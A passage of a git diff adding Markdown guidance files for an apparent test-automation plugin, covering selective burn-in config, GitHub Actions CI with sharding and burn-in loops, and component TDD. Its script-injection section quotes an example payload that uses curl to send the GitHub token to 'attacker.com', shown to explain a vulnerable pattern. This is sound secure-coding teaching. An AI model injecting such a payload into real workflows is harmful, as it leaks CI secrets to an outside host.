+    '**/config/**',
+    '**/*constants*',
+    '**/*types*',
+    '**/*.md',
+    '**/README*'
+  ],
+
+  // Run 30% of remaining tests after skip filter
+  burnInTestPercentage: 0.3,
+
+  // Burn-in repetition
+  burnIn: {
+    repeatEach: 3,  // Run each test 3 times
+    retries: 1      // Allow 1 retry
+  }
+}
+
+export default config
+
+// Step 3: Add package.json script
+{
+  "scripts": {
+    "test:pw:burn-in-changed": "tsx playwright/scripts/burn-in-changed.ts"
+  }
+}
+```
+
+**Key Points**:
+
+- Two-stage filtering: skip patterns, then volume control
+- `skipBurnInPatterns` eliminates irrelevant files
+- `burnInTestPercentage` controls test volume (0.3 = 30%)
+- Custom dependency analysis finds actually affected tests
+
+### Example 2: CI Integration
+
+**Context**: Use burn-in in GitHub Actions for efficient CI runs.
+
+**Implementation**:
+
+```yaml
+# .github/workflows/burn-in.yml
+name: Burn-in Changed Tests
+
+on:
+  pull_request:
+    branches: [main]
+
+jobs:
+  burn-in:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          fetch-depth: 0 # Need git history
+
+      - name: Setup Node
+        uses: actions/setup-node@v4
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run burn-in on changed tests
+        run: npm run test:pw:burn-in-changed -- --base-branch=origin/main
+
+      - name: Upload artifacts
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: burn-in-failures
+          path: test-results/
+```
+
+**Key Points**:
+
+- `fetch-depth: 0` for full git history
+- Pass `--base-branch=origin/main` for PR comparison
+- Upload artifacts only on failure
+- Significantly faster than full suite
+
+### Example 3: How It Works (Process of Elimination)
+
+**Context**: Understanding the filtering pipeline.
+
+**Scenario:**
+
+```
+Git diff finds: 21 changed files
+├─ Step 1: Skip patterns filter
+│  Removed: 6 files (*.md, config/*, *types*)
+│  Remaining: 15 files
+│
+├─ Step 2: Dependency analysis
+│  Tests that import these 15 files: 45 tests
+│
+└─ Step 3: Volume control (30%)
+   Final tests to run: 14 tests (30% of 45)
+
+Result: Run 14 targeted tests instead of 147 with --only-changed!
+```
+
+**Key Points**:
+
+- Three-stage pipeline: skip → analyze → control
+- Custom dependency analysis (not just imports)
+- Percentage applies AFTER filtering
+- Dramatically reduces CI time
+
+### Example 4: Environment-Specific Configuration
+
+**Context**: Different settings for local vs CI environments.
+
+**Implementation**:
+
+```typescript
+import type { BurnInConfig } from '@seontechnologies/playwright-utils/burn-in';
+
+const config: BurnInConfig = {
+  skipBurnInPatterns: ['**/config/**', '**/*types*', '**/*.md'],
+
+  // CI runs fewer iterations, local runs more
+  burnInTestPercentage: process.env.CI ? 0.2 : 0.3,
+
+  burnIn: {
+    repeatEach: process.env.CI ? 2 : 3,
+    retries: process.env.CI ? 0 : 1, // No retries in CI
+  },
+};
+
+export default config;
+```
+
+**Key Points**:
+
+- `process.env.CI` for environment detection
+- Lower percentage in CI (20% vs 30%)
+- Fewer iterations in CI (2 vs 3)
+- No retries in CI (fail fast)
+
+### Example 5: Sharding Support
+
+**Context**: Distribute burn-in tests across multiple CI workers.
+
+**Implementation**:
+
+```typescript
+// burn-in-changed.ts with sharding
+import { runBurnIn } from '@seontechnologies/playwright-utils/burn-in';
+
+async function main() {
+  const shardArg = process.argv.find((arg) => arg.startsWith('--shard='));
+
+  if (shardArg) {
+    process.env.PW_SHARD = shardArg.split('=')[1];
+  }
+
+  await runBurnIn({
+    configPath: 'playwright/config/.burn-in.config.ts',
+  });
+}
+```
+
+```yaml
+# GitHub Actions with sharding
+jobs:
+  burn-in:
+    strategy:
+      matrix:
+        shard: [1/3, 2/3, 3/3]
+    steps:
+      - run: npm run test:pw:burn-in-changed -- --shard=${{ matrix.shard }}
+```
+
+**Key Points**:
+
+- Pass `--shard=1/3` for parallel execution
+- Burn-in respects Playwright sharding
+- Distribute across multiple workers
+- Reduces total CI time further
+
+## Integration with CI Workflow
+
+When setting up CI with `*ci` workflow, recommend burn-in for:
+
+- Pull request validation
+- Pre-merge checks
+- Nightly builds (subset runs)
+
+## Related Fragments
+
+- `ci-burn-in.md` - Traditional burn-in patterns (10-iteration loops)
+- `selective-testing.md` - Test selection strategies
+- `overview.md` - Installation
+
+## Anti-Patterns
+
+**❌ Over-aggressive skip patterns:**
+
+```typescript
+skipBurnInPatterns: [
+  '**/*', // Skips everything!
+];
+```
+
+**✅ Targeted skip patterns:**
+
+```typescript
+skipBurnInPatterns: ['**/config/**', '**/*types*', '**/*.md', '**/*constants*'];
+```
+
+**❌ Too low percentage (false confidence):**
+
+```typescript
+burnInTestPercentage: 0.05; // Only 5% - might miss issues
+```
+
+**✅ Balanced percentage:**
+
+```typescript
+burnInTestPercentage: 0.2; // 20% in CI, provides good coverage
+```
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/ci-burn-in.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/ci-burn-in.md
new file mode 100644
index 0000000..a092987
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/ci-burn-in.md
@@ -0,0 +1,717 @@
+# CI Pipeline and Burn-In Strategy
+
+## Principle
+
+CI pipelines must execute tests reliably, quickly, and provide clear feedback. Burn-in testing (running changed tests multiple times) flushes out flakiness before merge. Stage jobs strategically: install/cache once, run changed specs first for fast feedback, then shard full suites with fail-fast disabled to preserve evidence.
+
+## Rationale
+
+CI is the quality gate for production. A poorly configured pipeline either wastes developer time (slow feedback, false positives) or ships broken code (false negatives, insufficient coverage). Burn-in testing ensures reliability by stress-testing changed code, while parallel execution and intelligent test selection optimize speed without sacrificing thoroughness.
+
+## Security: Script Injection Prevention
+
+**Rule:** NEVER use `${{ inputs.* }}` or user-controlled GitHub context directly in `run:` blocks. Always pass through `env:` and reference as `"$ENV_VAR"` (double-quoted).
+
+When CI templates are extended into reusable workflows (`on: workflow_call`), manual dispatch workflows (`on: workflow_dispatch`), or composite actions, `${{ inputs.* }}` values become user-controllable. Interpolating them directly in `run:` blocks enables shell command injection.
+
+### Vulnerable vs Safe Pattern
+
+```yaml
+# ❌ VULNERABLE — inputs.test_ids could contain: "; curl attacker.com/steal?t=$(cat $GITHUB_TOKEN)"
+- name: Run tests
+  run: |
+    npx playwright test --grep "${{ inputs.test_ids }}"
+
+# ✅ SAFE — env var cannot break out of shell quoting
+- name: Run tests
+  env:
+    TEST_IDS: ${{ inputs.test_ids }}
+  run: |
+    npx playwright test --grep "$TEST_IDS"
+```
+
+### Unsafe Contexts (require env: intermediary)
+
+- `${{ inputs.* }}` — workflow_call and workflow_dispatch inputs
+- `${{ github.event.* }}` — treat the entire event namespace as unsafe (PR titles, issue bodies, comment bodies, label names, etc.)
+- `${{ github.head_ref }}` — PR source branch name (user-controlled)
+
+**Important:** Passing through `env:` prevents GitHub expression injection, but inputs must still be treated as DATA, not COMMANDS. Never execute an input-derived env var as a shell command (e.g., `run: $CMD` where CMD came from an input). Use fixed commands and pass inputs only as quoted arguments.
+
+### Safe Contexts (safe from GitHub expression injection in run: blocks)
+
+- `${{ steps.*.outputs.* }}` — pre-computed by your own code
+- `${{ matrix.* }}` — defined in workflow YAML
+- `${{ runner.os }}`, `${{ github.sha }}`, `${{ github.ref }}` — system-controlled
+- `${{ secrets.* }}` — secret store, not user-injectable
+- `${{ env.* }}` — already an env var
+
+> **Note:** "Safe from expression injection" means these values cannot be manipulated by external actors to break out of `${{ }}` interpolation. Standard shell quoting practices still apply — always double-quote variable references in `run:` blocks.
+
+---
+
+## Pattern Examples
+
+### Example 1: GitHub Actions Workflow with Parallel Execution
+
+**Context**: Production-ready CI/CD pipeline for E2E tests with caching, parallelization, and burn-in testing.
+
+**Implementation**:
+
+```yaml
+# .github/workflows/e2e-tests.yml
+name: E2E Tests
+on:
+  pull_request:
+  push:
+    branches: [main, develop]
+
+env:
+  NODE_VERSION_FILE: '.nvmrc'
+  CACHE_KEY: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }}
+
+jobs:
+  install-dependencies:
+    name: Install & Cache Dependencies
+    runs-on: ubuntu-latest
+    timeout-minutes: 10
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: ${{ env.NODE_VERSION_FILE }}
+          cache: 'npm'
+
+      - name: Cache node modules
+        uses: actions/cache@v4
+        id: npm-cache
+        with:
+          path: |
+            ~/.npm
+            node_modules
+            ~/.cache/Cypress
+            ~/.cache/ms-playwright
+          key: ${{ env.CACHE_KEY }}
+          restore-keys: |
+            ${{ runner.os }}-node-
+
+      - name: Install dependencies
+        if: steps.npm-cache.outputs.cache-hit != 'true'
+        run: npm ci --prefer-offline --no-audit
+
+      - name: Install Playwright browsers
+        if: steps.npm-cache.outputs.cache-hit != 'true'
+        run: npx playwright install --with-deps chromium
+
+  test-changed-specs:
+    name: Test Changed Specs First (Burn-In)
+    needs: install-dependencies
+    runs-on: ubuntu-latest
+    timeout-minutes: 15
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+        with:
+          fetch-depth: 0 # Full history for accurate diff
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: ${{ env.NODE_VERSION_FILE }}
+          cache: 'npm'
+
+      - name: Restore dependencies
+        uses: actions/cache@v4
+        with:
+          path: |
+            ~/.npm
+            node_modules
+            ~/.cache/ms-playwright
+          key: ${{ env.CACHE_KEY }}
+
+      - name: Detect changed test files
+        id: changed-tests
+        run: |
+          CHANGED_SPECS=$(git diff --name-only origin/main...HEAD | grep -E '\.(spec|test)\.(ts|js|tsx|jsx)$' || echo "")
+          echo "changed_specs=${CHANGED_SPECS}" >> $GITHUB_OUTPUT
+          echo "Changed specs: ${CHANGED_SPECS}"
+
+      - name: Run burn-in on changed specs (10 iterations)
+        if: steps.changed-tests.outputs.changed_specs != ''
+        run: |
+          SPECS="${{ steps.changed-tests.outputs.changed_specs }}"
+          echo "Running burn-in: 10 iterations on changed specs"
+          for i in {1..10}; do
+            echo "Burn-in iteration $i/10"
+            npm run test -- $SPECS || {
+              echo "❌ Burn-in failed on iteration $i"
+              exit 1
+            }
+          done
+          echo "✅ Burn-in passed - 10/10 successful runs"
+
+      - name: Upload artifacts on failure
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: burn-in-failure-artifacts
+          path: |
+            test-results/
+            playwright-report/
+            screenshots/
+          retention-days: 7
+
+  test-e2e-sharded:
+    name: E2E Tests (Shard ${{ matrix.shard }}/${{ strategy.job-total }})
+    needs: [install-dependencies, test-changed-specs]
+    runs-on: ubuntu-latest
+    timeout-minutes: 30
+    strategy:
+      fail-fast: false # Run all shards even if one fails
+      matrix:
+        shard: [1, 2, 3, 4]
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: ${{ env.NODE_VERSION_FILE }}
+          cache: 'npm'
+
+      - name: Restore dependencies
+        uses: actions/cache@v4
+        with:
+          path: |
+            ~/.npm
+            node_modules
+            ~/.cache/ms-playwright
+          key: ${{ env.CACHE_KEY }}
+
+      - name: Run E2E tests (shard ${{ matrix.shard }})
+        run: npm run test:e2e -- --shard=${{ matrix.shard }}/4
+        env:
+          TEST_ENV: staging
+          CI: true
+
+      - name: Upload test results
+        if: always()
+        uses: actions/upload-artifact@v4
+        with:
+          name: test-results-shard-${{ matrix.shard }}
+          path: |
+            test-results/
+            playwright-report/
+          retention-days: 30
+
+      - name: Upload JUnit report
+        if: always()
+        uses: actions/upload-artifact@v4
+        with:
+          name: junit-results-shard-${{ matrix.shard }}
+          path: test-results/junit.xml
+          retention-days: 30
+
+  merge-test-results:
+    name: Merge Test Results & Generate Report
+    needs: test-e2e-sharded
+    runs-on: ubuntu-latest
+    if: always()
+    steps:
+      - name: Download all shard results
+        uses: actions/download-artifact@v4
+        with:
+          pattern: test-results-shard-*
+          path: all-results/
+
+      - name: Merge HTML reports
+        run: |
+          npx playwright merge-reports --reporter=html all-results/
+          echo "Merged report available in playwright-report/"
+
+      - name: Upload merged report
+        uses: actions/upload-artifact@v4
+        with:
+          name: merged-playwright-report
+          path: playwright-report/
+          retention-days: 30
+
+      - name: Comment PR with results
+        if: github.event_name == 'pull_request'
+        uses: daun/playwright-report-comment@v3
+        with:
+          report-path: playwright-report/
+```
+
+**Key Points**:
+
+- **Install once, reuse everywhere**: Dependencies cached across all jobs
+- **Burn-in first**: Changed specs run 10x before full suite
+- **Fail-fast disabled**: All shards run to completion for full evidence
+- **Parallel execution**: 4 shards cut execution time by ~75%
+- **Artifact retention**: 30 days for reports, 7 days for failure debugging
+
+---
+
+### Example 2: Burn-In Loop Pattern (Standalone Script)
+
+**Context**: Reusable bash script for burn-in testing changed specs locally or in CI.
+
+**Implementation**:
+
+```bash
+#!/bin/bash
+# scripts/burn-in-changed.sh
+# Usage: ./scripts/burn-in-changed.sh [iterations] [base-branch]
+
+set -e  # Exit on error
+
+# Configuration
+ITERATIONS=${1:-10}
+BASE_BRANCH=${2:-main}
+SPEC_PATTERN='\.(spec|test)\.(ts|js|tsx|jsx)$'
+
+echo "🔥 Burn-In Test Runner"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "Iterations: $ITERATIONS"
+echo "Base branch: $BASE_BRANCH"
+echo ""
+
+# Detect changed test files
+echo "📋 Detecting changed test files..."
+CHANGED_SPECS=$(git diff --name-only $BASE_BRANCH...HEAD | grep -E "$SPEC_PATTERN" || echo "")
+
+if [ -z "$CHANGED_SPECS" ]; then
+  echo "✅ No test files changed. Skipping burn-in."
+  exit 0
+fi
+
+echo "Changed test files:"
+echo "$CHANGED_SPECS" | sed 's/^/  - /'
+echo ""
+
+# Count specs
+SPEC_COUNT=$(echo "$CHANGED_SPECS" | wc -l | xargs)
+echo "Running burn-in on $SPEC_COUNT test file(s)..."
+echo ""
+
+# Burn-in loop
+FAILURES=()
+for i in $(seq 1 $ITERATIONS); do
+  echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+  echo "🔄 Iteration $i/$ITERATIONS"
+  echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+
+  # Run tests with explicit file list
+  if npm run test -- $CHANGED_SPECS 2>&1 | tee "burn-in-log-$i.txt"; then
+    echo "✅ Iteration $i passed"
+  else
+    echo "❌ Iteration $i failed"
+    FAILURES+=($i)
+
+    # Save failure artifacts
+    mkdir -p burn-in-failures/iteration-$i
+    cp -r test-results/ burn-in-failures/iteration-$i/ 2>/dev/null || true
+    cp -r screenshots/ burn-in-failures/iteration-$i/ 2>/dev/null || true
+
+    echo ""
+    echo "🛑 BURN-IN FAILED on iteration $i"
+    echo "Failure artifacts saved to: burn-in-failures/iteration-$i/"
+    echo "Logs saved to: burn-in-log-$i.txt"
+    echo ""
+    exit 1
+  fi
+
+  echo ""
+done
+
+# Success summary
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "🎉 BURN-IN PASSED"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "All $ITERATIONS iterations passed for $SPEC_COUNT test file(s)"
+echo "Changed specs are stable and ready to merge."
+echo ""
+
+# Cleanup logs
+rm -f burn-in-log-*.txt
+
+exit 0
+```
+
+**Usage**:
+
+```bash
+# Run locally with default settings (10 iterations, compare to main)
+./scripts/burn-in-changed.sh
+
+# Custom iterations and base branch
+./scripts/burn-in-changed.sh 20 develop
+
+# Add to package.json
+{
+  "scripts": {
+    "test:burn-in": "bash scripts/burn-in-changed.sh",
+    "test:burn-in:strict": "bash scripts/burn-in-changed.sh 20"
+  }
+}
+```
+
+**Key Points**:
+
+- **Exit on first failure**: Flaky tests caught immediately
+- **Failure artifacts**: Saved per-iteration for debugging
+- **Flexible configuration**: Iterations and base branch customizable
+- **CI/local parity**: Same script runs in both environments
+- **Clear output**: Visual feedback on progress and results
+
+---
+
+### Example 3: Shard Orchestration with Result Aggregation
+
+**Context**: Advanced sharding strategy for large test suites with intelligent result merging.
+
+**Implementation**:
+
+```javascript
+// scripts/run-sharded-tests.js
+const { spawn } = require('child_process');
+const fs = require('fs');
+const path = require('path');
+
+/**
+ * Run tests across multiple shards and aggregate results
+ * Usage: node scripts/run-sharded-tests.js --shards=4 --env=staging
+ */
+
+const SHARD_COUNT = parseInt(process.env.SHARD_COUNT || '4');
+const TEST_ENV = process.env.TEST_ENV || 'local';
+const RESULTS_DIR = path.join(__dirname, '../test-results');
+
+console.log(`🚀 Running tests across ${SHARD_COUNT} shards`);
+console.log(`Environment: ${TEST_ENV}`);
+console.log('━'.repeat(50));
+
+// Ensure results directory exists
+if (!fs.existsSync(RESULTS_DIR)) {
+  fs.mkdirSync(RESULTS_DIR, { recursive: true });
+}
+
+/**
+ * Run a single shard
+ */
+function runShard(shardIndex) {
+  return new Promise((resolve, reject) => {
+    const shardId = `${shardIndex}/${SHARD_COUNT}`;
+    console.log(`\n📦 Starting shard ${shardId}...`);
+
+    const child = spawn('npx', ['playwright', 'test', `--shard=${shardId}`, '--reporter=json'], {
+      env: { ...process.env, TEST_ENV, SHARD_INDEX: shardIndex },
+      stdio: 'pipe',
+    });
+
+    let stdout = '';
+    let stderr = '';
+
+    child.stdout.on('data', (data) => {
+      stdout += data.toString();
+      process.stdout.write(data);
+    });
+
+    child.stderr.on('data', (data) => {
+      stderr += data.toString();
+      process.stderr.write(data);
+    });
+
+    child.on('close', (code) => {
+      // Save shard results
+      const resultFile = path.join(RESULTS_DIR, `shard-${shardIndex}.json`);
+      try {
+        const result = JSON.parse(stdout);
+        fs.writeFileSync(resultFile, JSON.stringify(result, null, 2));
+        console.log(`✅ Shard ${shardId} completed (exit code: ${code})`);
+        resolve({ shardIndex, code, result });
+      } catch (error) {
+        console.error(`❌ Shard ${shardId} failed to parse results:`, error.message);
+        reject({ shardIndex, code, error });
+      }
+    });
+
+    child.on('error', (error) => {
+      console.error(`❌ Shard ${shardId} process error:`, error.message);
+      reject({ shardIndex, error });
+    });
+  });
+}
+
+/**
+ * Aggregate results from all shards
+ */
+function aggregateResults() {
+  console.log('\n📊 Aggregating results from all shards...');
+
+  const shardResults = [];
+  let totalTests = 0;
+  let totalPassed = 0;
+  let totalFailed = 0;
+  let totalSkipped = 0;
+  let totalFlaky = 0;
+
+  for (let i = 1; i <= SHARD_COUNT; i++) {
+    const resultFile = path.join(RESULTS_DIR, `shard-${i}.json`);
+    if (fs.existsSync(resultFile)) {
+      const result = JSON.parse(fs.readFileSync(resultFile, 'utf8'));
+      shardResults.push(result);
+
+      // Aggregate stats
+      totalTests += result.stats?.expected || 0;
+      totalPassed += result.stats?.expected || 0;
+      totalFailed += result.stats?.unexpected || 0;
+      totalSkipped += result.stats?.skipped || 0;
+      totalFlaky += result.stats?.flaky || 0;
+    }
+  }
+
+  const summary = {
+    totalShards: SHARD_COUNT,
+    environment: TEST_ENV,
+    totalTests,
+    passed: totalPassed,
+    failed: totalFailed,
+    skipped: totalSkipped,
+    flaky: totalFlaky,
+    duration: shardResults.reduce((acc, r) => acc + (r.duration || 0), 0),
+    timestamp: new Date().toISOString(),
+  };
+
+  // Save aggregated summary
+  fs.writeFileSync(path.join(RESULTS_DIR, 'summary.json'), JSON.stringify(summary, null, 2));
+
+  console.log('\n━'.repeat(50));
+  console.log('📈 Test Results Summary');
+  console.log('━'.repeat(50));
+  console.log(`Total tests:    ${totalTests}`);
+  console.log(`✅ Passed:      ${totalPassed}`);
+  console.log(`❌ Failed:      ${totalFailed}`);
+  console.log(`⏭️  Skipped:     ${totalSkipped}`);
+  console.log(`⚠️  Flaky:       ${totalFlaky}`);
+  console.log(`⏱️  Duration:    ${(summary.duration / 1000).toFixed(2)}s`);
+  console.log('━'.repeat(50));
+
+  return summary;
+}
+
+/**
+ * Main execution
+ */
+async function main() {
+  const startTime = Date.now();
+  const shardPromises = [];
+
+  // Run all shards in parallel
+  for (let i = 1; i <= SHARD_COUNT; i++) {
+    shardPromises.push(runShard(i));
+  }
+
+  try {
+    await Promise.allSettled(shardPromises);
+  } catch (error) {
+    console.error('❌ One or more shards failed:', error);
+  }
+
+  // Aggregate results
+  const summary = aggregateResults();
+
+  const totalTime = ((Date.now() - startTime) / 1000).toFixed(2);
+  console.log(`\n⏱️  Total execution time: ${totalTime}s`);
+
+  // Exit with failure if any tests failed
+  if (summary.failed > 0) {
+    console.error('\n❌ Test suite failed');
+    process.exit(1);
+  }
+
+  console.log('\n✅ All tests passed');
+  process.exit(0);
+}
+
+main().catch((error) => {
+  console.error('Fatal error:', error);
+  process.exit(1);
+});
+```
+
+**package.json integration**:
+
+```json
+{
+  "scripts": {
+    "test:sharded": "node scripts/run-sharded-tests.js",
+    "test:sharded:ci": "SHARD_COUNT=8 TEST_ENV=staging node scripts/run-sharded-tests.js"
+  }
+}
+```
+
+**Key Points**:
+
+- **Parallel shard execution**: All shards run simultaneously
+- **Result aggregation**: Unified summary across shards
+- **Failure detection**: Exit code reflects overall test status
+- **Artifact preservation**: Individual shard results saved for debugging
+- **CI/local compatibility**: Same script works in both environments
+
+---
+
+### Example 4: Selective Test Execution (Changed Files + Tags)
+
+**Context**: Optimize CI by running only relevant tests based on file changes and tags.
+
+**Implementation**:
+
+```bash
+#!/bin/bash
+# scripts/selective-test-runner.sh
+# Intelligent test selection based on changed files and test tags
+
+set -e
+
+BASE_BRANCH=${BASE_BRANCH:-main}
+TEST_ENV=${TEST_ENV:-local}
+
+echo "🎯 Selective Test Runner"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "Base branch: $BASE_BRANCH"
+echo "Environment: $TEST_ENV"
+echo ""
+
+# Detect changed files (all types, not just tests)
+CHANGED_FILES=$(git diff --name-only $BASE_BRANCH...HEAD)
+
+if [ -z "$CHANGED_FILES" ]; then
+  echo "✅ No files changed. Skipping tests."
+  exit 0
+fi
+
+echo "Changed files:"
+echo "$CHANGED_FILES" | sed 's/^/  - /'
+echo ""
+
+# Determine test strategy based on changes
+run_smoke_only=false
+run_all_tests=false
+affected_specs=""
+
+# Critical files = run all tests
+if echo "$CHANGED_FILES" | grep -qE '(package\.json|package-lock\.json|playwright\.config|cypress\.config|\.github/workflows)'; then
+  echo "⚠️  Critical configuration files changed. Running ALL tests."
+  run_all_tests=true
+
+# Auth/security changes = run all auth + smoke tests
+elif echo "$CHANGED_FILES" | grep -qE '(auth|login|signup|security)'; then
+  echo "🔒 Auth/security files changed. Running auth + smoke tests."
+  npm run test -- --grep "@auth|@smoke"
+  exit $?
+
+# API changes = run integration + smoke tests
+elif echo "$CHANGED_FILES" | grep -qE '(api|service|controller)'; then
+  echo "🔌 API files changed. Running integration + smoke tests."
+  npm run test -- --grep "@integration|@smoke"
+  exit $?
+
+# UI component changes = run related component tests
+elif echo "$CHANGED_FILES" | grep -qE '\.(tsx|jsx|vue)$'; then
+  echo "🎨 UI components changed. Running component + smoke tests."
+
+  # Extract component names and find related tests
+  components=$(echo "$CHANGED_FILES" | grep -E '\.(tsx|jsx|vue)$' | xargs -I {} basename {} | sed 's/\.[^.]*$//')
+  for component in $components; do
+    # Find tests matching component name
+    affected_specs+=$(find tests -name "*${component}*" -type f) || true
+  done
+
+  if [ -n "$affected_specs" ]; then
+    echo "Running tests for: $affected_specs"
+    npm run test -- $affected_specs --grep "@smoke"
+  else
+    echo "No specific tests found. Running smoke tests only."
+    npm run test -- --grep "@smoke"
+  fi
+  exit $?
+
+# Documentation/config only = run smoke tests
+elif echo "$CHANGED_FILES" | grep -qE '\.(md|txt|json|yml|yaml)$'; then
+  echo "📝 Documentation/config files changed. Running smoke tests only."
+  run_smoke_only=true
+else
+  echo "⚙️  Other files changed. Running smoke tests."
+  run_smoke_only=true
+fi
+
+# Execute selected strategy
+if [ "$run_all_tests" = true ]; then
+  echo ""
+  echo "Running full test suite..."
+  npm run test
+elif [ "$run_smoke_only" = true ]; then
+  echo ""
+  echo "Running smoke tests..."
+  npm run test -- --grep "@smoke"
+fi
+```
+
+**Usage in GitHub Actions**:
+
+```yaml
+# .github/workflows/selective-tests.yml
+name: Selective Tests
+on: pull_request
+
+jobs:
+  selective-tests:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          fetch-depth: 0
+
+      - name: Run selective tests
+        run: bash scripts/selective-test-runner.sh
+        env:
+          BASE_BRANCH: ${{ github.base_ref }}
+          TEST_ENV: staging
+```
+
+**Key Points**:
+
+- **Intelligent routing**: Tests selected based on changed file types
+- **Tag-based filtering**: Use @smoke, @auth, @integration tags
+- **Fast feedback**: Only relevant tests run on most PRs
+- **Safety net**: Critical changes trigger full suite
+- **Component mapping**: UI changes run related component tests
+
+---
+
+## CI Configuration Checklist
+
+Before deploying your CI pipeline, verify:
+
+- [ ] **Caching strategy**: node_modules, npm cache, browser binaries cached
+- [ ] **Timeout budgets**: Each job has reasonable timeout (10-30 min)
+- [ ] **Artifact retention**: 30 days for reports, 7 days for failure artifacts
+- [ ] **Parallelization**: Matrix strategy uses fail-fast: false
+- [ ] **Burn-in enabled**: Changed specs run 5-10x before merge
+- [ ] **wait-on app startup**: CI waits for app (wait-on: '<http://localhost:3000>')
+- [ ] **Secrets documented**: README lists required secrets (API keys, tokens)
+- [ ] **Local parity**: CI scripts runnable locally (npm run test:ci)
+
+## Integration Points
+
+- Used in workflows: `*ci` (CI/CD pipeline setup)
+- Related fragments: `selective-testing.md`, `playwright-config.md`, `test-quality.md`
+- CI tools: GitHub Actions, GitLab CI, CircleCI, Jenkins
+
+_Source: Murat CI/CD strategy blog, Playwright/Cypress workflow examples, enterprise production pipelines_
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/component-tdd.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/component-tdd.md
new file mode 100644
index 0000000..d14ba8f
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/component-tdd.md
@@ -0,0 +1,486 @@
+# Component Test-Driven Development Loop
+
+## Principle
+
+Start every UI change with a failing component test (`cy.mount`, Playwright component test, or RTL `render`). Follow the Red-Green-Refactor cycle: write a failing test (red), make it pass with minimal code (green), then improve the implementation (refactor). Ship only after the cycle completes. Keep component tests under 100 lines, isolated with fresh providers per test, and validate accessibility alongside functionality.
+
+## Rationale
+
+Component TDD provides immediate feedback during development. Failing tests (red) clarify requirements before writing code. Minimal implementations (green) prevent over-engineering. Refactoring with passing tests ensures changes don't break functionality. Isolated tests with fresh providers prevent state bleed in parallel runs. Accessibility assertions catch usability issues early. Visual debugging (Cypress runner, Storybook, Playwright trace viewer) accelerates diagnosis when tests fail.
+
+## Pattern Examples
+
+### Example 1: Red-Green-Refactor Loop
+
+**Context**: When building a new component, start with a failing test that describes the desired behavior. Implement just enough to pass, then refactor for quality.
+
+**Implementation**:
+
+```typescript
+// Step 1: RED - Write failing test
+// Button.cy.tsx (Cypress Component Test)
+import { Button } from './Button';
+
+describe('Button Component', () => {
+  it('should render with label', () => {
+    cy.mount(<Button label="Click Me" />);
+    cy.contains('Click Me').should('be.visible');
+  });
+
+  it('should call onClick when clicked', () => {
+    const onClickSpy = cy.stub().as('onClick');
+    cy.mount(<Button label="Submit" onClick={onClickSpy} />);
+
+    cy.get('button').click();
+    cy.get('@onClick').should('have.been.calledOnce');
+  });
+});
+
+// Run test: FAILS - Button component doesn't exist yet
+// Error: "Cannot find module './Button'"
+
+// Step 2: GREEN - Minimal implementation
+// Button.tsx
+type ButtonProps = {
+  label: string;
+  onClick?: () => void;
+};
+
+export const Button = ({ label, onClick }: ButtonProps) => {
+  return <button onClick={onClick}>{label}</button>;
+};
+
+// Run test: PASSES - Component renders and handles clicks
+
+// Step 3: REFACTOR - Improve implementation
+// Add disabled state, loading state, variants
+type ButtonProps = {
+  label: string;
+  onClick?: () => void;
+  disabled?: boolean;
+  loading?: boolean;
+  variant?: 'primary' | 'secondary' | 'danger';
+};
+
+export const Button = ({
+  label,
+  onClick,
+  disabled = false,
+  loading = false,
+  variant = 'primary'
+}: ButtonProps) => {
+  return (
+    <button
+      onClick={onClick}
+      disabled={disabled || loading}
+      className={`btn btn-${variant}`}
+      data-testid="button"
+    >
+      {loading ? <Spinner /> : label}
+    </button>
+  );
+};
+
+// Step 4: Expand tests for new features
+describe('Button Component', () => {
+  it('should render with label', () => {
+    cy.mount(<Button label="Click Me" />);
+    cy.contains('Click Me').should('be.visible');
+  });
+
+  it('should call onClick when clicked', () => {
+    const onClickSpy = cy.stub().as('onClick');
+    cy.mount(<Button label="Submit" onClick={onClickSpy} />);
+
+    cy.get('button').click();
+    cy.get('@onClick').should('have.been.calledOnce');
+  });
+
+  it('should be disabled when disabled prop is true', () => {
+    cy.mount(<Button label="Submit" disabled={true} />);
+    cy.get('button').should('be.disabled');
+  });
+
+  it('should show spinner when loading', () => {
+    cy.mount(<Button label="Submit" loading={true} />);
+    cy.get('[data-testid="spinner"]').should('be.visible');
+    cy.get('button').should('be.disabled');
+  });
+
+  it('should apply variant styles', () => {
+    cy.mount(<Button label="Delete" variant="danger" />);
+    cy.get('button').should('have.class', 'btn-danger');
+  });
+});
+
+// Run tests: ALL PASS - Refactored component still works
+
+// Playwright Component Test equivalent
+import { test, expect } from '@playwright/experimental-ct-react';
+import { Button } from './Button';
+
+test.describe('Button Component', () => {
+  test('should call onClick when clicked', async ({ mount }) => {
+    let clicked = false;
+    const component = await mount(
+      <Button label="Submit" onClick={() => { clicked = true; }} />
+    );
+
+    await component.getByRole('button').click();
+    expect(clicked).toBe(true);
+  });
+
